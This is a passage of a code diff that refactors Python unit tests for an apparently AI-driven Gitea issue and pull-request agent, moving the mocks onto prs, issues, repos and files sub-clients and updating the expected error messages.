     mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
-    mock_client.create_pull_request.return_value = mock_pr
+    mock_client.prs.create_pull_request.return_value = mock_pr
     
     # Mock planning agent deciding EXECUTE_PLAN
     async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -390,7 +461,13 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
     # Mock coding agent executing plan
     mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -408,20 +485,21 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
     mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
     
     # Verify WIP PR creation and starting comment
-    mock_client.create_pull_request.assert_called_once_with(
+    mock_client.prs.create_pull_request.assert_called_once_with(
         "meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
     )
-    mock_client.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
+    mock_client.issues.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
 
 
 @patch("subprocess.run")
 @patch("core.dispatcher.CodingAgent")
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     
     # Existing WIP PR addressing issue #42
     wip_pr = PullRequestModel(
@@ -430,14 +508,14 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
         state="open",
         head={"ref": "fix/issue-42-add-x"}
     )
-    mock_client.list_repo_pull_requests.return_value = [wip_pr]
-    mock_client.get_pr_reviews.return_value = []
+    mock_client.prs.list_repo_pull_requests.return_value = [wip_pr]
+    mock_client.prs.get_pr_reviews.return_value = []
     
-    mock_client.get_issue_comments.return_value = [
+    mock_client.issues.get_issue_comments.return_value = [
         _make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
         _make_comment("michael", "looks good, go ahead")
     ]
-    mock_client.get_pull_request_comments.return_value = []
+    mock_client.prs.get_pull_request_comments.return_value = []
     
     # Mock planning agent deciding EXECUTE_PLAN
     async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -448,7 +526,13 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
     # Mock coding agent executing plan
     mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -462,14 +546,15 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
     assert results[0] == "PR Updated Successfully."
     
     # Ensure create_pull_request was NOT called since it already exists
-    mock_client.create_pull_request.assert_not_called()
+    mock_client.prs.create_pull_request.assert_not_called()
 
 
 async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
     
     # PR authored by michael, requested reviewers is empty (agent not requested)
     pr_detail = PullRequestModel(
@@ -479,9 +564,15 @@ async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
         user=UserModel(login="michael"),
         requested_reviewers=[]
     )
-    mock_client.get_pull_request.return_value = pr_detail
+    mock_client.prs.get_pull_request.return_value = pr_detail
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="pr",
@@ -513,12 +604,13 @@ def test_coordinator_tools_registration() -> None:
 
 @patch("core.dispatcher.CoordinatorAgent")
 async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
 
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_issue_comments.return_value = []
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.issues.get_issue_comments.return_value = []
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
 
     # Mock agent invoking propose_plan tool
     async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -529,7 +621,13 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
     mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
     mock_coord_class.return_value = mock_coord_instance
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -541,7 +639,7 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
     results = await dispatcher.dispatch("meeks/repo1", [work_item])
     assert len(results) == 1
     assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
-    mock_client.add_comment.assert_called_once_with(
+    mock_client.issues.add_comment.assert_called_once_with(
         "meeks",
         "repo1",
         42,
@@ -550,15 +648,22 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
 
 
 async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
     # Mock return values for methods called prior to the isinstance check
-    mock_client.list_repo_pull_requests.return_value = []
-    mock_client.get_issue_comments.return_value = []
-    mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
+    mock_client.prs.list_repo_pull_requests.return_value = []
+    mock_client.issues.get_issue_comments.return_value = []
+    mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
 
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
 
     # 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
     work_item_invalid_issue = WorkItem(
@@ -588,13 +693,20 @@ async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
 
 
 async def test_dispatch_fails_if_no_authenticated_user() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_tools: MagicMock = MagicMock(spec=GiteaTools)
+    mock_client: MagicMock = MagicMock()
+    mock_client.repos = MagicMock()
+    mock_tools: MagicMock = MagicMock()
     
     # Simulate get_authenticated_user returning None
-    mock_client.get_authenticated_user.return_value = None
+    mock_client.repos.get_authenticated_user.return_value = None
     
-    dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
+    dispatcher = AgentDispatcher(
+        client=mock_client,
+        issue_tools=MagicMock(),
+        pr_tools=MagicMock(),
+        file_tools=MagicMock(),
+        git_tools=MagicMock(),
+    )
     work_item = WorkItem(
         repo_full_name="meeks/repo1",
         task_type="issue",
@@ -607,7 +719,7 @@ async def test_dispatch_fails_if_no_authenticated_user() -> None:
         await dispatcher.dispatch("meeks/repo1", [work_item])
 
     # Simulate get_authenticated_user raising an Exception
-    mock_client.get_authenticated_user.side_effect = Exception("API error")
+    mock_client.repos.get_authenticated_user.side_effect = Exception("API error")
     with pytest.raises(RuntimeError, match="No authenticated user found."):
         await dispatcher.dispatch("meeks/repo1", [work_item])
 

tests/test_file_tools.py

@@ -3,19 +3,28 @@ from gitea.client import GiteaClient
 from gitea.tools.file_tools import FileTools
 
 
-def test_get_file_content_string_success() -> None:
+def _create_mock_client() -> MagicMock:
+    """Create a mock GiteaClient with sub-client attributes."""
     mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_file_content.return_value = "file content here"
+    mock_client.files = MagicMock()
+    return mock_client
+
+
+def test_get_file_content_string_success() -> None:
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.return_value = "file content here"
 
     file_tools: FileTools = FileTools(mock_client)
     res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
     assert res == "1: file content here"
-    mock_client.get_file_content.assert_called_once_with("owner", "repo", "path/to/file")
+    mock_client.files.get_file_content.assert_called_once_with(
+        "owner", "repo", "path/to/file"
+    )
 
 
 def test_get_file_content_list_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_file_content.return_value = ["line1", "line2"]
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.return_value = ["line1", "line2"]
 
     file_tools: FileTools = FileTools(mock_client)
     res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
@@ -23,75 +32,128 @@ def test_get_file_content_list_success() -> None:
 
 
 def test_get_file_content_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_file_content.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.side_effect = Exception("API Error")
 
     file_tools: FileTools = FileTools(mock_client)
     res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
-    assert "Error getting file content: API Error" in res
+    assert "Could not retrieve file" in res
+    assert "path/to/file" in res
 
 
 def test_get_file_content_with_ref_string_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_file_content.return_value = "file content here"
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.return_value = "file content here"
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
+    res: str = file_tools.get_file_content_with_ref(
+        "owner", "repo", "path/to/file", "main"
+    )
     assert res == "1: file content here"
-    mock_client.get_file_content.assert_called_once_with("owner", "repo", "path/to/file", "main")
+    mock_client.files.get_file_content.assert_called_once_with(
+        "owner", "repo", "path/to/file", "main"
+    )
 
 
 def test_get_file_content_with_ref_list_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_file_content.return_value = ["line1", "line2"]
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.return_value = ["line1", "line2"]
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
+    res: str = file_tools.get_file_content_with_ref(
+        "owner", "repo", "path/to/file", "main"
+    )
     assert res == "1: line1\n2: line2"
 
 
 def test_get_file_content_with_ref_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_file_content.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.side_effect = Exception("API Error")
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
-    assert "Error getting file content: API Error" in res
+    res: str = file_tools.get_file_content_with_ref(
+        "owner", "repo", "path/to/file", "main"
+    )
+    assert "Could not retrieve file" in res
+    assert "path/to/file" in res
 
 
 def test_commit_file_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.update_file.return_value = {}
+    mock_client = _create_mock_client()
+    mock_client.files.update_file.return_value = {}
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.commit_file("owner", "repo", "path/to/file", "msg", "content", "branch")
+    res: str = file_tools.commit_file(
+        "owner", "repo", "path/to/file", "msg", "content", "branch"
+    )
     assert "committed successfully" in res
-    mock_client.update_file.assert_called_once_with("owner", "repo", "path/to/file", "msg", "content", "branch")
+    mock_client.files.update_file.assert_called_once_with(
+        "owner", "repo", "path/to/file", "msg", "content", "branch"
+    )
 
 
 def test_commit_file_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.update_file.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.files.update_file.side_effect = Exception("API Error")
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.commit_file("owner", "repo", "path/to/file", "msg", "content", "branch")
-    assert "Error committing file: API Error" in res
+    res: str = file_tools.commit_file(
+        "owner", "repo", "path/to/file", "msg", "content", "branch"
+    )
+    assert "Could not commit file" in res
+    assert "path/to/file" in res
 
 
 def test_update_file_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.update_file.return_value = {}
+    mock_client = _create_mock_client()
+    mock_client.files.update_file.return_value = {}
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.update_file("owner", "repo", "path/to/file", "msg", "content", "branch")
+    res: str = file_tools.update_file(
+        "owner", "repo", "path/to/file", "msg", "content", "branch"
+    )
     assert "updated in" in res
-    mock_client.update_file.assert_called_once_with("owner", "repo", "path/to/file", "msg", "content", "branch")
+    mock_client.files.update_file.assert_called_once_with(
+        "owner", "repo", "path/to/file", "msg", "content", "branch"
+    )
 
 
 def test_update_file_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.update_file.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.files.update_file.side_effect = Exception("API Error")
 
     file_tools: FileTools = FileTools(mock_client)
-    res: str = file_tools.update_file("owner", "repo", "path/to/file", "msg", "content", "branch")
-    assert "Error updating file: API Error" in res
+    res: str = file_tools.update_file(
+        "owner", "repo", "path/to/file", "msg", "content", "branch"
+    )
+    assert "Could not update file" in res
+    assert "path/to/file" in res
+
+
+def test_get_file_content_uses_local_file_when_available(tmp_path: str) -> None:
+    import os
+
+    mock_client = _create_mock_client()
+
+    repo_dir = tmp_path / "owner" / "repo"
+    repo_dir.mkdir(parents=True)
+    file_path = repo_dir / "path" / "to" / "file"
+    file_path.parent.mkdir(parents=True)
+    file_path.write_text("local file content")
+
+    file_tools = FileTools(mock_client, str(tmp_path))
+    res = file_tools.get_file_content("owner", "repo", "path/to/file")
+    assert res == "1: local file content"
+    mock_client.files.get_file_content.assert_not_called()
+
+
+def test_get_file_content_falls_back_to_api_when_no_local(tmp_path: str) -> None:
+    mock_client = _create_mock_client()
+    mock_client.files.get_file_content.return_value = "api content"
+
+    file_tools = FileTools(mock_client, str(tmp_path))
+    res = file_tools.get_file_content("owner", "repo", "path/to/file")
+    assert res == "1: api content"
+    mock_client.files.get_file_content.assert_called_once_with(
+        "owner", "repo", "path/to/file"
+    )

tests/test_git_tools.py

@@ -3,19 +3,26 @@ from gitea.client import GiteaClient
 from gitea.tools.git_tools import GitTools
 
 
-def test_create_branch_success() -> None:
+def _create_mock_client() -> MagicMock:
+    """Create a mock GiteaClient with sub-client attributes."""
     mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.create_ref.return_value = {}
+    mock_client.files = MagicMock()
+    return mock_client
+
+
+def test_create_branch_success() -> None:
+    mock_client = _create_mock_client()
+    mock_client.files.create_ref.return_value = {}
 
     git_tools: GitTools = GitTools(mock_client)
     res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
     assert res == "Branch 'ref' created successfully in owner/repo."
-    mock_client.create_ref.assert_called_once_with("owner", "repo", "ref", "sha")
+    mock_client.files.create_ref.assert_called_once_with("owner", "repo", "ref", "sha")
 
 
 def test_create_branch_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.create_ref.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.files.create_ref.side_effect = Exception("API Error")
 
     git_tools: GitTools = GitTools(mock_client)
     res: str = git_tools.create_branch("owner", "repo", "ref", "sha")

tests/test_issue_tools.py

@@ -6,52 +6,64 @@ from gitea.models import IssueModel, CommentModel, LabelModel, RepositoryModel
 from gitea.tools.issue_tools import IssueTools
 
 
-def test_get_issue_success() -> None:
+def _create_mock_client() -> MagicMock:
+    """Create a mock GiteaClient with sub-client attributes."""
     mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client.issues = MagicMock()
+    mock_client.repos = MagicMock()
+    return mock_client
+
+
+def test_get_issue_success() -> None:
+    mock_client = _create_mock_client()
     issue: IssueModel = IssueModel(number=1, title="Test Issue", state="open")
-    mock_client.get_issue.return_value = issue
+    mock_client.issues.get_issue.return_value = issue
 
     issue_tools: IssueTools = IssueTools(mock_client)
-    res: str = issue_tools.get_issue("owner", "repo", 1)
+    res: IssueModel = issue_tools.get_issue("owner", "repo", 1)
 
-    data: dict[str, Any] = json.loads(res)
-    assert data["number"] == 1
-    assert data["title"] == "Test Issue"
-    mock_client.get_issue.assert_called_once_with("owner", "repo", 1)
+    assert isinstance(res, IssueModel)
+    assert res.number == 1
+    assert res.title == "Test Issue"
+    mock_client.issues.get_issue.assert_called_once_with("owner", "repo", 1)
 
 
 def test_get_issue_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_issue.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.get_issue.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
-    res: str = issue_tools.get_issue("owner", "repo", 1)
-    assert "Error getting issue: API Error" in res
+    try:
+        issue_tools.get_issue("owner", "repo", 1)
+        assert False, "Expected Exception"
+    except Exception as e:
+        assert str(e) == "API Error"
 
 
 def test_close_issue_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.close_issue.return_value = IssueModel(number=1, state="closed")
+    mock_client = _create_mock_client()
+    mock_client.issues.close_issue.return_value = IssueModel(number=1, state="closed")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.close_issue("owner", "repo", 1)
     assert res == "Issue #1 closed successfully."
-    mock_client.close_issue.assert_called_once_with("owner", "repo", 1)
+    mock_client.issues.close_issue.assert_called_once_with("owner", "repo", 1)
 
 
 def test_close_issue_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.close_issue.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.close_issue.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.close_issue("owner", "repo", 1)
-    assert "Error closing issue: API Error" in res
+    assert "Could not close issue" in res
+    assert "owner/repo" in res
 
 
 def test_get_issue_comments_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     comment: CommentModel = CommentModel(id=123, body="Comment body")
-    mock_client.get_issue_comments.return_value = [comment]
+    mock_client.issues.get_issue_comments.return_value = [comment]
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.get_issue_comments("owner", "repo", 1)
@@ -61,32 +73,33 @@ def test_get_issue_comments_success() -> None:
 
 
 def test_get_issue_comments_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_issue_comments.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.get_issue_comments.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.get_issue_comments("owner", "repo", 1)
-    assert "Error getting issue comments: API Error" in res
+    assert "Could not retrieve comments" in res
+    assert "owner/repo" in res
 
 
 def test_list_assigned_issues_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
     issue: IssueModel = IssueModel(number=1, title="Test Issue")
-    mock_client.list_all_user_repos.return_value = [repo]
-    mock_client.list_assigned_issues.return_value = [issue]
+    mock_client.repos.list_all_user_repos.return_value = [repo]
+    mock_client.issues.list_assigned_issues.return_value = [issue]
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
     assert len(res) == 1
     assert res[0]["number"] == 1
-    mock_client.list_all_user_repos.assert_called_once()
-    mock_client.list_assigned_issues.assert_called_once_with("owner1", "repo1")
+    mock_client.repos.list_all_user_repos.assert_called_once()
+    mock_client.issues.list_assigned_issues.assert_called_once_with("owner1", "repo1")
 
 
 def test_list_assigned_issues_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.list_all_user_repos.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.repos.list_all_user_repos.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
@@ -94,9 +107,9 @@ def test_list_assigned_issues_failure() -> None:
 
 
 def test_list_issues_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     issue: IssueModel = IssueModel(number=1, title="Test Issue")
-    mock_client.list_repo_issues.return_value = [issue]
+    mock_client.issues.list_repo_issues.return_value = [issue]
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.list_issues("owner", "repo")
@@ -104,50 +117,52 @@ def test_list_issues_success() -> None:
 
 
 def test_list_issues_empty() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.list_repo_issues.return_value = []
+    mock_client = _create_mock_client()
+    mock_client.issues.list_repo_issues.return_value = []
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.list_issues("owner", "repo")
-    assert res == "No issues in owner/repo."
+    assert res == "No open issues in owner/repo."
 
 
 def test_list_issues_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.list_repo_issues.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.list_repo_issues.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.list_issues("owner", "repo")
-    assert "Error listing issues: API Error" in res
+    assert "Could not list issues" in res
+    assert "owner/repo" in res
 
 
 def test_create_issue_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client = _create_mock_client()
     issue: IssueModel = IssueModel(number=2)
-    mock_client.create_issue.return_value = issue
+    mock_client.issues.create_issue.return_value = issue
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.create_issue(
         "owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
     )
     assert res == "Issue #2 created successfully in owner/repo."
-    mock_client.create_issue.assert_called_once_with(
+    mock_client.issues.create_issue.assert_called_once_with(
         "owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
     )
 
 
 def test_create_issue_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.create_issue.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.create_issue.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.create_issue("owner", "repo", "Title", "Body")
-    assert "Error creating issue: API Error" in res
+    assert "Could not create issue" in res
+    assert "Title" in res
 
 
 def test_add_label_to_issue_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.add_label.return_value = LabelModel(name="bug")
+    mock_client = _create_mock_client()
+    mock_client.issues.add_label.return_value = LabelModel(name="bug")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
@@ -155,17 +170,18 @@ def test_add_label_to_issue_success() -> None:
 
 
 def test_add_label_to_issue_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.add_label.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.add_label.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
-    assert "Error adding label to issue #1: API Error" in res
+    assert "Could not add label" in res
+    assert "bug" in res
 
 
 def test_add_comment_to_issue_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.add_comment.return_value = CommentModel(id=1)
+    mock_client = _create_mock_client()
+    mock_client.issues.add_comment.return_value = CommentModel(id=1)
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
@@ -173,9 +189,10 @@ def test_add_comment_to_issue_success() -> None:
 
 
 def test_add_comment_to_issue_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.add_comment.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.issues.add_comment.side_effect = Exception("API Error")
 
     issue_tools: IssueTools = IssueTools(mock_client)
     res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
-    assert "Error adding comment to issue #1: API Error" in res
+    assert "Could not add comment" in res
+    assert "owner/repo" in res

tests/test_orchestrator.py

@@ -5,7 +5,6 @@ from unittest.mock import MagicMock, AsyncMock, patch
 
 from core.orchestrator import AgentOrchestrator
 from gitea.client import GiteaClient
-from gitea.tools.gitea_tools import GiteaTools
 from gitea.models import IssueModel, PullRequestModel, RepositoryModel
 
 pytestmark = pytest.mark.anyio
@@ -31,7 +30,7 @@ async def test_poll_and_dispatch_no_notifications(
 ) -> None:
     mock_get_path.return_value = temp_state_file
     mock_client = MagicMock(spec=GiteaClient)
-    mock_tools = MagicMock(spec=GiteaTools)
+    mock_tools = MagicMock()
 
     # Return no notifications
     mock_client.list_unread_notifications.return_value = []
@@ -68,7 +67,7 @@ async def test_poll_and_dispatch_with_notifications(
     mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
     mock_notification_reader_class.return_value = mock_reader
     mock_client = MagicMock(spec=GiteaClient)
-    mock_tools = MagicMock(spec=GiteaTools)
+    mock_tools = MagicMock()
 
     # Set up mock Gitea notifications
     notifications = [

tests/test_pr_tools.py

@@ -6,52 +6,66 @@ from gitea.models import PullRequestModel, CommentModel, RepositoryModel
 from gitea.tools.pr_tools import PRTools
 
 
-def test_get_pull_request_success() -> None:
+def _create_mock_client() -> MagicMock:
+    """Create a mock GiteaClient with sub-client attributes."""
     mock_client: MagicMock = MagicMock(spec=GiteaClient)
+    mock_client.prs = MagicMock()
+    mock_client.repos = MagicMock()
+    return mock_client
+
+
+def test_get_pull_request_success() -> None:
+    mock_client = _create_mock_client()
     pr: PullRequestModel = PullRequestModel(number=1, title="Test PR", state="open")
-    mock_client.get_pull_request.return_value = pr
+    mock_client.prs.get_pull_request.return_value = pr
 
     pr_tools: PRTools = PRTools(mock_client)
-    res: str = pr_tools.get_pull_request("owner", "repo", 1)
+    res: PullRequestModel = pr_tools.get_pull_request("owner", "repo", 1)
 
-    data: dict[str, Any] = json.loads(res)
-    assert data["number"] == 1
-    assert data["title"] == "Test PR"
-    mock_client.get_pull_request.assert_called_once_with("owner", "repo", 1)
+    assert isinstance(res, PullRequestModel)
+    assert res.number == 1
+    assert res.title == "Test PR"
+    mock_client.prs.get_pull_request.assert_called_once_with("owner", "repo", 1)
 
 
 def test_get_pull_request_failure() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.get_pull_request.side_effect = Exception("API Error")
+    mock_client = _create_mock_client()
+    mock_client.prs.get_pull_request.side_effect = Exception("API Error")
 
     pr_tools: PRTools = PRTools(mock_client)
-    res: str = pr_tools.get_pull_request("owner", "repo", 1)
-    assert "Error getting pull request: API Error" in res
+    try:
+        pr_tools.get_pull_request("owner", "repo", 1)
+        assert False, "Expected Exception"
+    except Exception as e:
+        assert str(e) == "API Error"
 
 
 def test_close_pull_request_success() -> None:
-    mock_client: MagicMock = MagicMock(spec=GiteaClient)
-    mock_client.close_pull_request.return_value = PullRequestModel(number=1, state="closed")
+    mock_client = _create_mock_client()
+    mock_client.prs.close_pull_request.return_value = PullRequestModel(
+        number=1, state="closed"
+    )
 
     pr_tools: PRTools = PRTools(mock_client)
     res: str = pr_tools.close_pull_request("owner", "repo", 1)
     assert res == "Pull request #1 closed successfully."
